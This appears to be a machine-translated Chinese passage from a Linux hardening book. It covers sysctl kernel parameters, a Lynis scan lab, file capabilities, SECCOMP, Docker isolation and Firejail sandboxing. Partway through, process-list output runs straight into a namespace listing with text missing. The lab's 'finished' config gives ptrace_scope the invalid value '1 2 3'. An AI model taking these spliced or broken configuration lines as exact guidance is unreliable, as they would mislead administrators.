上,你会在`/etc/sysctl.d`目录中找到其他有默认值的文件。在中央操作系统上,该目录只包含一个指向`/etc/sysctl.conf`文件的符号链接。此外,您会发现有些东西被硬编码到 Linux 内核中,在任何配置文件中都没有提到。在真正的 Linux 时尚中,每个发行版都有不同的方式来配置这一切,只是为了确保用户保持彻底的困惑。但没关系。不管怎样,我们会试着弄清楚的。 - -# 配置 sysctl . conf–Ubuntu - -在 Ubuntu 机器上的`/etc/sysctl.conf`文件中,你会看到很多评论和一些你可以调整的东西的例子。这些评论很好地解释了各种设置的作用。所以,我们从它开始。 - -该文件的大部分内容包含有助于提高网络安全性的设置。在文件的顶部,我们可以看到: - -```sh -# Uncomment the next two lines to enable Spoof protection (reverse-path filter) -# Turn on Source Address Verification in all interfaces to -# prevent some spoofing attacks -#net.ipv4.conf.default.rp_filter=1 -#net.ipv4.conf.all.rp_filter=1 -``` - -欺骗攻击包括一个不良行为者向您发送带有欺骗 IP 地址的网络数据包。欺骗可以用于一些不同的事情,如 DoS 攻击、匿名端口扫描或欺骗访问控制。启用这些设置后,操作系统会验证它是否能够到达数据包报头中的源地址。如果不能,数据包将被拒绝。你可能想知道为什么这是禁用的,因为这似乎是一件好事。然而,情况并非如此:它是在另一个文件中启用的。如果你查看`/etc/sysctl.d/10-network-security.conf`文件,你会看到它在那里被启用。因此,没有必要取消这两行的注释。 - -接下来,我们可以看到: - -```sh -# Uncomment the next line to enable TCP/IP SYN cookies -# See http://lwn.net/Articles/277146/ -# Note: This may impact IPv6 TCP sessions too -#net.ipv4.tcp_syncookies=1 -``` - -DoS 攻击的一种形式包括向目标机器发送大量 SYN 数据包,而不完成其余的三次握手。这可能会导致受害机器有许多半开放的网络连接,这最终会耗尽机器接受更多合法连接的能力。打开 SYN cookies 可以帮助防止这种类型的攻击。事实上,SYN cookies 已经在`/etc/sysctl.d/10-network-security.conf`文件中打开了。 - -接下来我们会看到: - -```sh -# Uncomment the next line to enable packet forwarding for IPv4 -#net.ipv4.ip_forward=1 -``` - -取消对该行的注释将允许网络数据包在具有多个网络接口的机器中从一个网络接口流向另一个网络接口。除非您正在设置路由器或虚拟专用网服务器,否则请保持此设置不变。 - -到目前为止,我们只看到了 IPv4 的东西。这里有一个 IPv6: - -```sh -# Uncomment the next line to enable packet forwarding for IPv6 -# Enabling this option disables Stateless Address Autoconfiguration -# based on Router Advertisements for this host -#net.ipv6.conf.all.forwarding=1 -``` - -总的来说,你也要像现在这样,把这个注释掉。在 IPv6 环境中的计算机上禁用无状态地址自动配置意味着您需要设置 DHCPv6 服务器或在所有主机上设置静态 IPv6 地址。 - -下一节控制 ICMP 重定向: - -```sh -# Do not accept ICMP redirects (prevent MITM attacks) -#net.ipv4.conf.all.accept_redirects = 0 -#net.ipv6.conf.all.accept_redirects = 0 -# _or_ -# Accept ICMP redirects only for gateways listed in our default -# gateway list (enabled by default) -# net.ipv4.conf.all.secure_redirects = 1 -# -``` - -允许 ICMP 重定向可能会使**中间人***(***【MITM】***)*攻击成功。取消注释这个片段顶部的两行将完全禁用 ICMP 重定向。底部的底线允许重定向,但前提是它们来自可信网关。这一个有点欺骗,因为即使这一行被注释掉了,即使在任何其他配置文件中没有关于这一点的内容,安全重定向实际上是默认启用的。我们可以通过`grep`过滤我们的`sysctl -a`输出来看到这一点: - -```sh -donnie@ubuntu1804-1:/etc/sysctl.d$ sudo sysctl -a | grep 'secure_redirects' -net.ipv4.conf.all.secure_redirects = 1 -net.ipv4.conf.default.secure_redirects = 1 -net.ipv4.conf.docker0.secure_redirects = 1 -net.ipv4.conf.enp0s3.secure_redirects = 1 -net.ipv4.conf.lo.secure_redirects = 1 -donnie@ubuntu1804-1:/etc/sysctl.d$ -``` - -在这里,我们可以看到所有网络接口都启用了安全重定向。但是如果你确定你的机器永远不会被用作路由器,最好还是完全禁用 ICMP 重定向。(我们一会儿就做。) - -这个文件中的最后一个网络项目涉及火星数据包: - -```sh -# Log Martian Packets -#net.ipv4.conf.all.log_martians = 1 -# -``` - -现在,如果你和我一样大,你可能还记得 60 年代的一个非常愚蠢的电视节目,叫做《我最喜欢的火星人》——但这个场景与此无关。火星数据包的源地址通常不能被特定的网络接口接受。例如,如果您的面向互联网的服务器接收到带有私有 IP 地址或环回设备地址的数据包,那就是火星数据包。为什么它们被称为火星包?嗯,是因为有人说这些包裹不是这个地球的。不管怎样,火星数据包会耗尽网络资源,所以了解它们很好。您可以通过取消对前面代码片段中的行的注释,或者在`/etc/sysctl.d`目录中放置一个覆盖文件来启用它们的日志记录。(我们也将在稍后介绍这一点。) - -以下代码片段是 Magic 系统请求密钥的内核参数: - -```sh -# Magic system request key -# 0=disable, 1=enable all -# Debian kernels have this set to 0 (disable the key) -# See https://www.kernel.org/doc/Documentation/sysrq.txt -# for what other values do -#kernel.sysrq=1 -``` - -启用此参数后,您可以执行某些功能,例如关闭或重新启动系统、向进程发送信号、转储进程调试信息,以及通过按一系列魔键执行其他一些操作。您可以通过按下 *Alt* + *SysReq* +命令键序列来完成。(某些键盘上的 *SysReq* 键是 *PrtScr* 键,而命令键是调用某些特定命令的键。)值为`0`将完全禁用它,值为`1`将启用所有魔法键功能。大于 1 的值只会启用特定的功能。在此文件中,此选项似乎被禁用。然而,它实际上是在`/etc/sysctl.d/10-magic-sysrq.conf`文件中启用的。如果您正在处理的服务器被锁在服务器室中,并且无法从串行控制台远程访问,这可能不是什么大问题。但是,对于一台处于开放状态或可以从串行控制台访问的机器,您可能需要禁用它。(我们也将在稍后进行。) - -`/etc/sysctl.conf`中的最终设置防止在某些情况下创建硬链接和符号链接: - -```sh -# Protected links -# -# Protects against creating or following links under certain conditions -# Debian kernels have both set to 1 (restricted) -# See https://www.kernel.org/doc/Documentation/sysctl/fs.txt -#fs.protected_hardlinks=0 -#fs.protected_symlinks=0 -``` - -在某些情况下,坏人可能会创建指向敏感文件的链接,以便他们可以轻松访问这些文件。链接保护在`/etc/sysctl.d/10-link-restrictions.conf`文件中打开,你想就这样离开。所以,永远不要取消这两个参数的注释。 - -这几乎涵盖了我们在 Ubuntu 中拥有的东西。现在,让我们看看 CentOS。 - -# 配置 sysctl . conf–CentOS - -在 CentOS 上,`/etc/sysctl.conf`文件为空,除了一些注释。这些注释告诉您在其他地方寻找默认配置文件,并通过在`/etc/sysctl.d`目录中创建新的配置文件来进行更改。 - -CentOS 的默认安全设置与 Ubuntu 的基本相同,只是它们是在不同的地方配置的。例如,在 CentOS 上,欺骗保护(`rp_filter`)参数和链接保护参数在`/usr/lib/sysctl.d/50-default.conf`文件中。 - -通过将`sysctl -a`命令输入到`grep`中,您还会看到`syncookies`被启用: - -```sh -[donnie@centos7-tm1 ~]$ sudo sysctl -a | grep 'syncookie' -net.ipv4.tcp_syncookies = 1 -[donnie@centos7-tm1 ~]$ -``` - -`secure_redirects`也是如此: - -```sh -[donnie@centos7-tm1 ~]$ sudo sysctl -a | grep 'secure_redirects' -net.ipv4.conf.all.secure_redirects = 1 -net.ipv4.conf.default.secure_redirects = 1 -net.ipv4.conf.enp0s3.secure_redirects = 1 -net.ipv4.conf.lo.secure_redirects = 1 -net.ipv4.conf.virbr0.secure_redirects = 1 -net.ipv4.conf.virbr0-nic.secure_redirects = 1 -[donnie@centos7-tm1 ~]$ -``` - -奇怪的是,在任何 CentOS 配置文件中都找不到任何`secure_redirects`或`syncookies`的设置。为了解开这个谜团,我在整个文件系统中搜索了这些文本字符串。以下是我通过搜索`syncookies`找到的部分内容: - -```sh -[donnie@centos7-tm1 /]$ sudo grep -ir 'syncookies' * -. . . -. . . -boot/System.map-3.10.0-123.el7.x86_64:ffffffff819ecf8c D sysctl_tcp_syncookies -boot/System.map-3.10.0-123.el7.x86_64:ffffffff81a5b71c t init_syncookies -. . . -. . . -``` - -`grep`找到`syncookies`或`secure_redirects`文本字符串的唯一位置在`/boot`目录的`System.map`文件中。所以,我最好的猜测是这些值被硬编码到内核中,这样就不需要在`sysctl`配置文件中配置它们。 - -# 设置附加的内核加固参数 - -到目前为止我们所看到的还不算太坏。我们看到的大多数参数已经设置为最安全的值。但是还有改进的空间吗?确实有。但是,通过查看任何配置文件,您都不会知道它。在 Ubuntu 和 CentOS 上,相当多的项目都有缺省值,这些缺省值没有在任何正常的配置文件中设置。最好的方法是使用系统扫描仪,如 Lynis。 - -Lynis 是一个安全扫描器,它显示了关于系统的大量信息。(我们将在[第 13 章](13.html)、*漏洞扫描和入侵检测*中详细介绍。)现在,我们将只讨论它能告诉我们关于加固 Linux 内核的什么。 - -运行扫描后,您将在屏幕输出中看到一个`[+] Kernel Hardening`部分。它相当长,所以这里只是它的一部分: - -```sh -[+] Kernel Hardening ------------------------------------- - - Comparing sysctl key pairs with scan profile - - fs.protected_hardlinks (exp: 1) [ OK ] - - fs.protected_symlinks (exp: 1) [ OK ] - - fs.suid_dumpable (exp: 0) [ OK ] - - kernel.core_uses_pid (exp: 1) [ OK ] - - kernel.ctrl-alt-del (exp: 0) [ OK ] - - kernel.dmesg_restrict (exp: 1) [ DIFFERENT ] - - kernel.kptr_restrict (exp: 2) [ DIFFERENT ] - - kernel.randomize_va_space (exp: 2) [ OK ] - - kernel.sysrq (exp: 0) [ DIFFERENT ] -. . . -. . . -``` - -标记为`OK`的一切都是为了最好的安全性。标记为`DIFFERENT`的值应该改为括号内的建议的`exp:`值。( **exp** 代表**预期**。)现在让我们在动手实验室中进行。 - -# 动手实验室–使用 Lynis 扫描内核参数 - -Lynis 在 Ubuntu 的普通存储库中,在 CentOS 的 EPEL 存储库中。你可以直接从作者的网站上获得的东西后面总是有几个版本,但目前来说,这没关系。当我们到达[第 13 章](13.html)、*漏洞扫描和入侵检测*时,我将向您展示如何获取最新版本。让我们开始吧: - -1. 通过对 Ubuntu 执行以下操作,从存储库中安装 Lynis: - -```sh -sudo apt update -sudo apt install lynis -``` - -对 CentOS 07 执行以下操作: - -```sh -sudo yum install lynis -``` - -对 CentOS 08 执行以下操作: - -```sh -sudo dnf install lynis - -``` - -2. 使用以下命令扫描系统: - -```sh -sudo lynis audit system -``` - -3. 扫描完成后,向上滚动至输出的`[+] Kernel Hardening`部分。将 sysctl 密钥对复制并粘贴到文本文件中。在自己的主目录中保存为`secure_values.conf`。文件的内容应该如下所示: - -```sh - - fs.protected_hardlinks (exp: 1) [ OK ] - - fs.protected_symlinks (exp: 1) [ OK ] - - fs.suid_dumpable (exp: 0) [ OK ] - - kernel.core_uses_pid (exp: 1) [ OK ] - - kernel.ctrl-alt-del (exp: 0) [ OK ] - - kernel.dmesg_restrict (exp: 1) [ DIFFERENT ] - - kernel.kptr_restrict (exp: 2) [ DIFFERENT ] - - kernel.randomize_va_space (exp: 2) [ OK ] - - kernel.sysrq (exp: 0) [ DIFFERENT ] - - kernel.yama.ptrace_scope (exp: 1 2 3) [ DIFFERENT ] - - net.ipv4.conf.all.accept_redirects (exp: 0) [ DIFFERENT ] - - net.ipv4.conf.all.accept_source_route (exp: 0) [ OK ] -. . . -. . . -``` - -4. 使用`grep`将所有`DIFFERENT`行发送到新文件。名称`60-secure_values.conf`: - -```sh -grep 'DIFFERENT' secure_values.conf > 60-secure_values.conf -``` - -5. 编辑`60-secure_values.conf`文件,将其转换为 sysctl 配置格式。将每个参数设置为当前在括号对中的`exp`值。成品应该是这样的: - -```sh -kernel.dmesg_restrict = 1 -kernel.kptr_restrict = 2 -kernel.sysrq = 0 -kernel.yama.ptrace_scope = 1 2 3 -net.ipv4.conf.all.accept_redirects = 0 -net.ipv4.conf.all.log_martians = 1 -net.ipv4.conf.all.send_redirects = 0 -net.ipv4.conf.default.accept_redirects = 0 -net.ipv4.conf.default.log_martians = 1 -net.ipv6.conf.all.accept_redirects = 0 -net.ipv6.conf.default.accept_redirects = 0 -``` - -6. 将文件复制到`/etc/sysctl.d`目录: - -```sh -sudo cp 60-secure_values.conf /etc/sysctl.d/ -``` - -7. 重新启动机器,从新文件中读入值: - -```sh -sudo shutdown -r now -``` - -8. 重复*步骤 2* 。大多数项目现在应该显示它们最安全的值。然而,你可能会看到一些`DIFFERENT`行出现。没关系;只需将这些参数的行移动到主`/etc/sysctl.conf`文件中,然后再次重新启动机器。 - -This trick didn't completely work with CentOS 8\. No matter what I did, the `net.ipv4.conf.all.forwarding` item remained enabled. However, the other items came out okay. - -实验室到此结束——祝贺你! - -我们已经讨论了在这个过程中我们改变的一些项目。以下是其余部分的分类: - -* `kernel.dmesg_restrict = 1`:默认情况下,任何非特权用户都可以运行`dmesg`命令,该命令允许用户查看不同类型的内核信息。其中一些信息可能是敏感的,因此我们希望将此参数设置为`1`,以便只有具有 root 权限的人才能使用`dmesg`。 -* `kernel.kptr_restrict = 2`:该设置防止`/proc`在内存中暴露内核地址。将此设置为`0`将完全禁用它,而将其设置为`1`将防止非特权用户看到地址信息。设置为`2`,就像我们这里一样,防止任何人看到地址信息,不管这个人的特权级别如何。不过请注意,将此设置为`1`或`2`可能会阻止某些性能监控程序运行,如`perf`。如果你绝对需要进行性能监控,你可能需要将其设置为`0`。(这并不像听起来那么糟糕,因为设置好`kernel.dmesg_restrict = 1`有助于缓解这个问题。) -* `kernel.yama.ptrace_scope = 1 2 3`:这就对`ptrace`实用程序进行了限制,这是一个坏人也可以使用的调试程序。`1`将 ptrace 限制为仅调试父进程。`2`表示只有拥有 root 权限的人才可以使用 ptrace,而`3`则阻止任何人使用 ptrace 跟踪进程。 - -在本节中,您学习了如何配置各种内核参数来帮助锁定您的系统。接下来,我们将通过限制哪些人可以查看流程信息来进一步锁定。 - -# 防止用户看到彼此的进程 - -默认情况下,用户可以使用`ps`或`top`等工具来查看其他人的流程以及他们自己的流程。为了演示这一点,让我们看一下来自`ps aux`命令的以下部分输出: - -```sh -[donnie@localhost ~]$ ps aux -USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND -root 1 0.0 0.7 179124 13752 ? Ss 12:05 0:03 /usr/lib/systemd/systemd --switched-root --system --deserialize 17 -root 2 0.0 0.0 0 0 ? S 12:05 0:00 [kthreadd] -root 3 0.0 0.0 0 0 ? I< 12:05 0:00 [rcu_gp] -. . . -. . . -colord 2218 0.0 0.5 323948 10344 ? Ssl 12:06 0:00 /usr/libexec/colord -gdm 2237 0.0 0.2 206588 5612 tty1 Sl 12:06 0:00 /usr/libexec/ibus-engine-simple -root 2286 0.0 0.6 482928 11932 ? Sl 12:06 0:00 gdm-session-worker [pam/gdm-password] -donnie 2293 0.0 0.5 93280 9696 ? Ss 12:06 0:00 /usr/lib/systemd/systemd --user -donnie 2301 0.0 0.2 251696 4976 ? S 12:06 0:00 (sd-pam) -donnie 2307 0.0 0.6 1248768 12656 ? S 'cgroup:[4026531835]' -lrwxrwxrwx. 1 donnie donnie 0 Oct 30 16:16 ipc -> 'ipc:[4026531839]' -lrwxrwxrwx. 1 donnie donnie 0 Oct 30 16:16 mnt -> 'mnt:[4026531840]' -lrwxrwxrwx. 1 donnie donnie 0 Oct 30 16:16 net -> 'net:[4026531992]' -lrwxrwxrwx. 1 donnie donnie 0 Oct 30 16:16 pid -> 'pid:[4026531836]' -lrwxrwxrwx. 1 donnie donnie 0 Oct 30 16:16 pid_for_children -> 'pid:[4026531836]' -lrwxrwxrwx. 1 donnie donnie 0 Oct 30 16:16 user -> 'user:[4026531837]' -lrwxrwxrwx. 1 donnie donnie 0 Oct 30 16:16 uts -> 'uts:[4026531838]' -[donnie@localhost ns]$ -``` - -你们当中目光敏锐的人会发现,这个目录中还有一个我们没有涉及的额外项目。`pid_for_children`项跟踪子命名空间中的 PiD。 - -虽然您当然可以创建自己的名称空间,但您可能永远也不会创建,除非您是软件开发人员。最有可能的是,您将只使用已经内置了名称空间技术的产品。一些现代 web 浏览器使用名称空间为每个打开的选项卡创建一个沙箱。你可以使用一个产品,比如 Firejail,在它自己的安全沙箱中运行一个普通的程序。(我们稍后再看这个。)然后是 Docker,它使用名称空间来帮助将 Docker 容器相互隔离,并与主机操作系统隔离。 - -我们刚刚对名称空间有了一个高层次的概述。接下来,让我们看看内核功能。 - -# 理解内核能力 - -当您执行一个`ps aux`命令时,或者如果您已经用`hidepid=1`或`hidepid=2`选项挂载了`/proc`的话,您将会看到许多由根用户拥有的进程。这是因为这些进程必须访问某种非特权用户无法访问的系统资源。然而,让服务以完全根权限运行可能有点安全问题。幸运的是,有一些方法可以缓解这种情况。 - -例如,任何网络服务器服务,如 Apache 或 Nginx,都需要以根权限启动才能绑定到端口`80`和`443`,它们是特权端口。但是,Apache 和 Nginx 都通过在服务启动后删除根权限或通过生成属于非特权用户的子进程来缓解这个问题。在这里,我们可以看到主 Apache 进程生成属于非特权`apache`用户的子进程: - -```sh -[donnie@centos7-tm1 ~]$ ps aux | grep http -root 1015 0.0 0.5 230420 5192 ? Ss 15:36 0:00 /usr/sbin/httpd -DFOREGROUND -apache 1066 0.0 0.2 230420 3000 ? S 15:36 0:00 /usr/sbin/httpd -DFOREGROUND -apache 1067 0.0 0.2 230420 3000 ? S 15:36 0:00 /usr/sbin/httpd -DFOREGROUND -apache 1068 0.0 0.2 230420 3000 ? S 15:36 0:00 /usr/sbin/httpd -DFOREGROUND -apache 1069 0.0 0.2 230420 3000 ? S 15:36 0:00 /usr/sbin/httpd -DFOREGROUND -apache 1070 0.0 0.2 230420 3000 ? S 15:36 0:00 /usr/sbin/httpd -DFOREGROUND -donnie 1323 0.0 0.0 112712 964 pts/0 R+ 15:38 0:00 grep --color=auto http -[donnie@centos7-tm1 ~]$ -``` - -但并不是所有的软件都能做到这一点。有些程序被设计为始终以 root 权限运行。对于某些情况——不是全部,而是部分——您可以通过将内核功能应用于程序可执行文件来解决这个问题。 - -功能允许 Linux 内核将根用户可以做的事情分成不同的单元。假设您刚刚编写了一个很酷的自定义程序,需要访问一个特权网络端口。如果没有这些功能,您要么必须以 root 权限启动该程序,让它以 root 权限运行,要么跳过对它的编程,这样一旦启动它就可以放弃 root 权限。通过应用适当的功能,非特权用户将能够启动它,并且它将以该用户的特权运行。(稍后会有更多相关信息。) - -这里列出的功能太多了(总共大约有 40 个),但是您可以使用以下命令查看完整的列表: - -```sh -man capabilities -``` - -回到我们前面的例子,假设我们需要使用 Python 来设置一个非常原始的 web 服务器,任何非特权用户都可以启动它。(我们将使用 Python 2 来实现这一点,因为它不适用于 Python 3。)目前,我们将在 CentOS 8 机器上进行此操作。 - -The names of the Python packages and executable files are different between CentOS 7, CentOS 8, and Ubuntu. I'll show you all three sets of commands when we get to the hands-on lab. - -运行简单 Python 网络服务器的命令如下: - -```sh -python2 -m SimpleHTTPServer 80 -``` - -然而,这是行不通的,因为它需要绑定到端口`80`,这是网络服务器通常使用的特权端口。在该命令输出的底部,您将看到问题: - -```sh -socket.error: [Errno 13] Permission denied -``` - -在命令前面加上`sudo`将解决问题,并允许网络服务器运行。然而,我们不希望这样。我们更愿意允许非特权用户启动它,我们更愿意让它在没有根用户特权的情况下运行。修复这个问题的第一步是找到 Python 可执行文件,如下所示: - -```sh -[donnie@localhost ~]$ which python2 -/usr/bin/python2 -[donnie@localhost ~]$ -``` - -大多数情况下,`python`或`python2`命令是指向另一个可执行文件的符号链接。我们将用一个简单的`ls -l`命令来验证: - -```sh -[donnie@localhost ~]$ ls -l /usr/bin/python2 -lrwxrwxrwx. 1 root root 9 Oct 8 17:08 /usr/bin/python2 -> python2.7 -[donnie@localhost ~]$ -``` - -所以,`python2`链接指向`python2.7`可执行文件。现在,让我们看看是否有任何功能分配给此文件: - -```sh -[donnie@localhost ~]$ getcap /usr/bin/python2.7 -[donnie@localhost ~]$ -``` - -没有输出意味着没有。当我们查阅功能手册页时,我们会发现`CAP_NET_BIND_SERVICE`功能似乎正是我们所需要的。对它的一行描述是:将套接字绑定到互联网域特权端口(端口号小于`1024` ) *。*好的;听起来不错。所以,让我们在`python2.7`可执行文件上设置它,看看会发生什么。由于我们使用`getcap`来查看文件功能,您可能会猜测我们将使用`setcap`来设置功能。(你是对的。)我们现在就开始吧: - -```sh -[donnie@localhost ~]$ sudo setcap 'CAP_NET_BIND_SERVICE+ep' /usr/bin/python2.7 -[sudo] password for donnie: -[donnie@localhost ~]$ getcap /usr/bin/python2.7 -/usr/bin/python2.7 = cap_net_bind_service+ep -[donnie@localhost ~]$ -``` - -能力名称末尾的`+ep`表示我们正在添加有效(激活)和允许的能力。现在,当我尝试用我自己的正常权限运行这个 web 服务器时,它会正常工作: - -```sh -[donnie@localhost ~]$ python2 -m SimpleHTTPServer 80 -Serving HTTP on 0.0.0.0 port 80 ... -``` - -当我在主机上使用 Firefox 连接到该服务器时,我会看到一个文件和目录列表,其中列出了我主目录中的所有内容: - -![](img/e88c3fd1-721c-40f9-bf78-fdd19526dd5d.png) - -Linux 功能在其他方面也非常有用。在任何 Linux 系统上,ping 实用程序都需要超级用户权限,以便创建完成工作所需的网络数据包。然而,每个人和他的兄弟都可以像普通用户一样使用 ping。如果您查看 ping 可执行文件,您会看到 Linux 维护人员为它分配了两项功能: - -```sh -[donnie@localhost ~]$ getcap /usr/bin/ping -/usr/bin/ping = cap_net_admin,cap_net_raw+p -[donnie@localhost ~]$ -``` - -尽管这一切看起来很酷,但也有一些缺点: - -* 试图弄清楚一个程序到底需要哪些功能并不总是简单的。事实上,在你把事情做好之前,可能需要大量的实验。 -* 设定能力不是万能的。很多时候,你会看到设置一个特定的功能仍然不允许程序做你需要它做的事情。事实上,甚至可能没有一种功能可以让程序在没有 root 权限的情况下按照您的要求运行。 -* 执行系统更新可能会替换您分配了功能的可执行文件。(有了 ping,我们就不用担心这个了,因为功能是由 Linux 维护人员设置的。) - -好吧,所以很有可能你从来不需要设置任何功能。然而,这是我的物联网安全客户端用来帮助锁定物联网设备的工具之一,因此这确实有实际用途。此外,功能是我们稍后将会看到的一些技术的构建模块。 - -# 动手实验–设置内核功能 - -在本实验中,您将允许普通用户运行 Python 网络服务器。您可以使用任何虚拟机。让我们开始吧: - -1. 如果您的虚拟机上安装了 Apache,请确保它已为 Ubuntu 停止: - -```sh -sudo systemctl stop apache2 -``` - -对于 CentOS,请执行以下操作: - -```sh -sudo systemctl stop httpd -``` - -2. 为 Ubuntu 安装 Python 2: - -```sh -sudo apt install python -``` - -对于 CentOS 7,请执行以下操作: - -```sh -sudo yum install python -``` - -对于 CentOS 8,请执行以下操作: - -```sh -sudo dnf install python2 -``` - -3. 从您自己的主目录中,尝试以您的普通用户权限启动 Python `SimpleHTTPServer`,并注意 Ubuntu 和 CentOS 7 上的错误消息: - -```sh -python -m SimpleHTTPServer 80 -``` - -在 CentOS 8 上,您将看到以下内容: - -```sh -python2 -m SimpleHTTPServer 80 -``` - -4. 查看 CentOS 7 上的 Python 可执行文件是否设置了任何功能: - -```sh -getcap /usr/bin/python2 -``` - -在 Ubuntu 和 CentOS 8 上,执行以下操作: - -```sh -getcap /usr/bin/python2.7 -``` - -5. 在 CentOS 7 上的 Python 可执行文件上设置`CAP_NET_BIND_SERVICE`功能: - -```sh -sudo setcap 'CAP_NET_BIND_SERVICE+ep' /usr/bin/python2 -``` - -在 Ubuntu 和 CentOS 8 上,执行以下操作: - -```sh -sudo setcap 'CAP_NET_BIND_SERVICE+ep' /usr/bin/python2.7 -``` - -6. 重复*步骤 3* 和*步骤 4* 。这一次,应该管用。 -7. 确保虚拟机防火墙上的端口 80 已打开,并使用主机的网络浏览器访问服务器。 -8. 使用 *Ctrl + C* 关闭网络服务器。 -9. 查看已分配给 ping 可执行文件的功能: - -```sh -getcap /usr/bin/ping -``` - -10. 查看手册页的功能,尤其是关于各种功能的部分。 - -实验到此结束,祝贺你! - -到目前为止,您已经看到了如何设置文件功能,以及它们能为您做什么和不能为您做什么。接下来,我们将看看如何控制系统调用。 - -# 了解 SECCOMP 和系统调用 - -每次在 Linux 机器上运行任何命令,都会发生多次系统调用。每个系统调用从人类用户那里获取一个命令,并将其传递给 Linux 内核。这告诉 Linux 内核它需要执行某种特权动作。打开或关闭文件、写入文件或更改文件权限或所有权只是需要进行某种系统调用的一些操作。Linux 内核中内置了大约 330 个系统调用。我不能说具体有多少,因为新的 syscalls 会不时被添加。除此之外,不同的中央处理器架构之间的系统调用也不同。因此,ARM 中央处理器不会有与 x86_64 中央处理器完全相同的系统调用集。查看计算机上可用的 syscalls 列表的最佳方法是使用以下命令: - -```sh -man syscalls -``` - -Note that each individual syscall has its own man page. - -为了了解这是如何工作的,这里有`strace`命令,它显示了由一个简单的`ls`命令进行的系统调用: - -```sh -[donnie@localhost ~]$ strace -c -f -S name ls 2>&1 1>/dev/null | tail -n +3 | head -n -2 | awk '{print $(NF)}' -access -arch_prctl -brk -close -execve -. . . -. . . -set_robust_list -set_tid_address -statfs -write -[donnie@localhost ~]$ -``` - -总共有 22 个系统调用是从只做`ls`开始的。(由于格式限制,我不能在这里全部显示。) - -**安全计算** ( **SECCOMP** )最初是为谷歌 Chrome 网络浏览器创建的,它允许您只启用某个进程想要使用的系统调用的某个子集,或者禁用某个进程不想使用的系统调用。除非你是一个软件开发人员或者 Docker 容器开发人员,否则你可能不会直接使用它。然而,这是正常人日常使用的技术的另一个组成部分。 - -接下来,让我们通过观察这些很酷的东西在现实生活中是如何使用的来透视它们。 - -# 对 Docker 容器使用进程隔离 - -容器技术已经存在了相当长的一段时间,但是 Docker 花了很长时间才使容器流行起来。与虚拟机不同,容器不包含整个操作系统。相反,一个容器包含的操作系统刚好足够让应用在自己的私有沙箱中运行。容器缺少自己的操作系统内核,所以使用宿主 Linux 机器的内核。容器如此受欢迎的原因是,与虚拟机相比,您可以将更多的容器打包到物理服务器上。因此,它们非常适合降低数据中心的运营成本。 - -Docker 容器使用我们在本章中介绍的技术。内核功能、cgroups、名称空间和 SECCOMP 都有助于 Docker 容器保持相互隔离和与主机操作系统隔离,除非我们选择其他方式。默认情况下,Docker 容器以一组减少的功能和系统调用运行,Docker 开发人员可以为他们创建的容器减少更多的功能和系统调用。 - -I can't go into the nitty-gritty details about how all this works in Docker because it would require explaining the development process for Docker containers. That's okay, though. In this section, you'll understand what to look out for if someone wants to deploy Docker containers in your data center. - -尽管听起来不错,但 Docker 的安全性远非完美。正如我在[第 9 章](09.html)、*中演示的那样,使用 SELinux 和 appamor*实现强制访问控制,`docker`组的任何非特权成员都可以将主机的根文件系统挂载到他或她自己创建的容器中。`docker`组中通常没有特权的成员在容器中拥有根特权,这些特权扩展到主机的挂载根文件系统。在演示中,我向您展示了只有有效的强制访问控制系统,特别是 SELinux,才能阻止 Katelyn 控制整个主机。 - -为了解决这个相当严重的设计缺陷,红帽的开发人员创建了他们自己的 Docker 替代品。他们称之为`podman-docker`,它可以在 RHEL 8 和 CentOS 8 存储库中找到。在`podman-docker`中安全性得到了很大的提高,我为大家演示的攻击类型即使没有 SELinux 也不起作用。就我个人而言,除了 RHEL 8 或 CentOS 8 之外,我甚至不会考虑任何运行容器的东西。(不,红帽子的人不会付钱让我这么说。) - -现在,我已经向您概要介绍了流程隔离技术在 Docker 中的使用方式,让我们看看它们在凡人更可能使用的技术中是如何使用的。我们将从消防监狱开始。 - -# 用火牢沙箱 - -Firejail 使用名称空间、SECCOMP 和内核功能在自己的沙箱中运行不受信任的应用。这有助于防止应用之间的数据泄漏,也有助于防止恶意程序破坏您的系统。它在 Debian 及其后代的正常存储库中,包括树莓 Pi 设备的 Raspbian,可能还有 Ubuntu 家族的每个成员。在红帽方面,它在 Fedora 存储库中,但不在 CentOS 存储库中。因此,对于 CentOS,您必须下载源代码并在本地编译。Firejail 是为单用户桌面系统设计的,所以我们需要使用 Linux 的桌面版本。为了让事情变得简单,我将使用 Lubuntu,这是带有 LXDE 桌面的 ubuntu,而不是 Gnome 3 桌面。 - -Whenever I can choose between the Gnome 3 desktop and something else, you'll always see me go with something else. To me, Gnome 3 is like the Windows 8 of the Linux world, and you know how everyone liked to hate on Windows 8\. However, if you like Gnome 3, more power to you, and I won't argue with you. - -在我们继续讨论之前,让我们考虑一下 Firejail 的一些用例: - -* 当您访问银行的门户网站时,您需要加倍确保您的网络浏览器不会泄露敏感信息。 -* 您需要运行从互联网下载的不受信任的应用。 - -要在您的 Debian/Ubuntu/Raspbian 机器上安装 Firejail,请使用以下命令: - -```sh -sudo apt update -sudo apt install firejail -``` - -这将安装 Firejail,以及一大堆用于不同应用的配置文件。当你用 Firejail 调用一个应用时,它会自动为该应用加载正确的配置文件(如果存在的话)。如果你调用一个没有配置文件的应用,Firejail 只会加载一个通用的。要查看配置文件,`cd`进入`/etc/firejail`并查看: - -```sh -donnie@donnie-VirtualBox:/etc/firejail$ ls -l -total 1780 --rw-r--r-- 1 root root 894 Dec 21 2017 0ad.profile --rw-r--r-- 1 root root 691 Dec 21 2017 2048-qt.profile --rw-r--r-- 1 root root 399 Dec 21 2017 7z.profile --rw-r--r-- 1 root root 1414 Dec 21 2017 abrowser.profile --rw-r--r-- 1 root root 1079 Dec 21 2017 akregator.profile --rw-r--r-- 1 root root 615 Dec 21 2017 amarok.profile --rw-r--r-- 1 root root 722 Dec 21 2017 amule.profile --rw-r--r-- 1 root root 837 Dec 21 2017 android-studio.profile -. . . -. . . -``` - -要轻松计算配置文件的数量,请使用以下命令: - -```sh -donnie@donnie-VirtualBox:/etc/firejail$ ls -l | wc -l -439 -donnie@donnie-VirtualBox:/etc/firejail$ -``` - -从输出顶部减去`total 1780`线,我们总共得到 438 个轮廓。 - -使用 Firejail 最简单的方法是在你想要运行的应用的名字前面加上`firejail`。让我们从火狐开始: - -```sh -firejail firefox -``` - -现在,Firejail 的主要问题是它不能始终如一地很好地工作。大约一年前,一个客户让我写了一篇关于 Firejail 的文章,我主要是在我的 Fedora 工作站和我的 Raspbian 树莓 Pi 上工作。但是即使有了它所使用的程序,我还是失去了一些重要的功能。例如,当在我的 Fedora 机器上运行带有 Firejail 